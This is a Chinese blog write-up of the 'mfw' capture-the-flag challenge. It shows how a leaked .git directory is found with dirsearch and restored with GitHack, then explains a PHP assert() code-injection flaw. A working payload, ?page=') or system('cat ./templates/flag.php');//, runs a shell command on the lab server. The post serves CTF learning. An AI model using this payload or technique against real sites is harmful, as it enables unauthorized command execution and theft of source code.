攻防世界--mfw

assert断言函数简介_assert函数-CSDN博客

断言(assert)的用法 | 菜鸟教程

mfw

打开环境后,先浏览每个页面

在about这个页面发现了信息,作者自己用了一个星期来做这个网站Git、PHP、Bootstrap

那就说明可能存在着Git泄露,使用dirsearch扫描一下

dirsearch -u http://61.147.171.105:49668/?page=about 

发现了Git泄露,我们使用GitHack还原它

python2 GitHack.py http://61.147.171.105:49668/.git

 我们一步一步的查找文件

在flag.php里没有发现信息,退回去在index.php里发现了关键信息

<?php

// 检查是否设置了 'page' GET 参数,如果设置了,则将其赋值给 $page 变量,否则默认赋值为 'home'
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

// 根据 $page 构建模板文件路径
$file = "templates/" . $page . ".php";

// 使用 assert 确保文件路径中不包含 '..',以防止目录遍历攻击
// 如果包含 '..',则输出 "Detected hacking attempt!" 并终止脚本
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// 使用 assert 确保文件存在
// 如果文件不存在,则输出 "That file doesn't exist!" 并终止脚本
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>My PHP Website</title>
        <!-- 引入 Bootstrap CSS -->
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
    </head>
    <body>
        <!-- 导航栏 -->
        <nav class="navbar navbar-inverse navbar-fixed-top">
            <div class="container">
                <div class="navbar-header">
                    <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                        <span class="sr-only">Toggle navigation</span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                    </button>
                    <a class="navbar-brand" href="#">Project name</a>
                </div>
                <div id="navbar" class="collapse navbar-collapse">
                    <ul class="nav navbar-nav">
                        <!-- 根据当前页面设置导航栏的激活状态 -->
                        <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                        <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                        <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                        <!--
                        <li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li>
                        -->
                    </ul>
                </div>
            </div>
        </nav>

        <div class="container" style="margin-top: 50px">
            <?php
                // 引入模板文件
                require_once $file;
            ?>
        </div>

        <!-- 引入 jQuery 和 Bootstrap JS -->
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
    </body>
</html>

$file变量会接收传入的$page并且在其前面拼接templates/,在其后面拼接.php(PHP中用.来实现字符串的拼接)

比如我们传入?page=flag,那么$file就成了templates/flag.php

strpos()函数查找..,如果没有找到则返回false,如果找到,则显示第一个数的位置并返回True,此时与右边的false并不恒等,此时就会执行or右边的die()函数,输出 Detected hacking attempt! 目的为了防止目录遍历

file_exists()函数来检查我们传入的page拼接后是否存在

assert()函数会将括号中的字符当成代码来执行,并返回true或false

我们可以发现file_exists()函数和strpos()函数对我们做题的影响不是很大,我们需要利用assert()函数执行cat ./template/flag.php获得flag,要达到这个目的我们就要破坏原来的assert的结构才能得到我们的flag

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
assert("file_exists('$file')")
结合后:
assert("strpos('templates/$page.php', '..') === false") or die("Detected hacking attempt!");

原理:使用')符号将strpos函数闭合,然后拼接上我们想要执行的代码,再用注释符//将后面的内容全部注释

我们首先构造

?page=') or system('cat ./templates/flag.php');//

然后一层一层的进入

$file = "templates/" . $page . ".php";
$file = templates/') or system('cat ./templates/flag.php');
assert("strpos('$file', '..') === false")
assert("strpos('/template/') or system('cat ./templates/flag.php');//.php, '..') === false')
运行函数:
strpos(''/template/') or system('cat ./templates/flag.php');

我们可以发现strpos函数被闭合了,判断没有..后返回false报错,因此就会运行我们构造的语句中or后面的语句

查看源代码得到flag

知识点:

PHP中用.来实现字符串的拼接

Git

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

GIT泄露

我们知道,Git是一个可以实现有效控制应用版本的系统,但是一旦在代码发布的时候,存在不规范的操作及配置,就很可能将源代码泄露出去。那么,一旦攻击者或者黑客发现这个问题之后,就可能利用其获取网站的源码、数据库等重要资源信息,进而造成严重的危害。例如:攻击者利用该漏洞下载.git文件夹中的所有内容。如果文件夹中存在敏感信息(数据库账号密码、源码等),通过白盒的审计等方式就可能直接获得控制服务器的权限和机会!

造成GIT泄露的原因:

1、.gitignore文件不完整                                  2、敏感信息提交到公开仓库

3、Git历史中的敏感信息                                   4、Git配置不当

5、内部API令牌泄露                                         6、使用.gitkeep占位

7、权限设置不当

判断GIT泄露漏洞:

1、查看环境或者站点是否提示了GIT,如果提示了,那么很可能存在着GIT泄露

2、使用dirsearch等这类扫描工具扫描,如果扫到了.git文件,那么很可能存在git泄露

3、我们可以直接访问网页/.git目录,如果成功访问,那就说明存在着GIT泄露

asssert()函数

PHP中该函数用于’断言’,简单来说就是用于判断表达式或者是调试程序,当判断的内容是字符串的时候,该函数会将字符串作为PHP代码执行,因此存在任意代码执行的漏洞,类似于eval()函数

strpos()函数

strpos() 函数返回字符串在另一个字符串中第一次出现的位置。如果没有找到该字符串,则返回 false。

注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。

file_exists()函数

是检查文件或目录是否存在。

笔记

在做题和网上找WP的时候,发现了几点我还没有理解的点,在重新复现的时候开始慢慢理解了一下

1、//

assert("strpos('templates/') or system('cat templates/flag.php');//.php', '..') === false")中,本身//" "的包裹下会被当作普通字符串来处理,而assert函数又会将字符串当作php代码来解析执行,所以解析到//这部分时将//解析为注释符,所以后面这一部分.php', '..') === false都被当初注释处理了,//的注释作用只作用到.php', '..') === false这一部分为止,不包括后面assert函数的闭合部分“)

2、

在大佬们的WP中

我不是很能够理解为什么在template前面会出现双引号,然后自己去手注了一遍,又去看了其他大佬们的WP,发现这篇WP和我自己理解的一样,但是我还是没有理解第一篇WP中的那个双引号是什么意思

  • 23
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值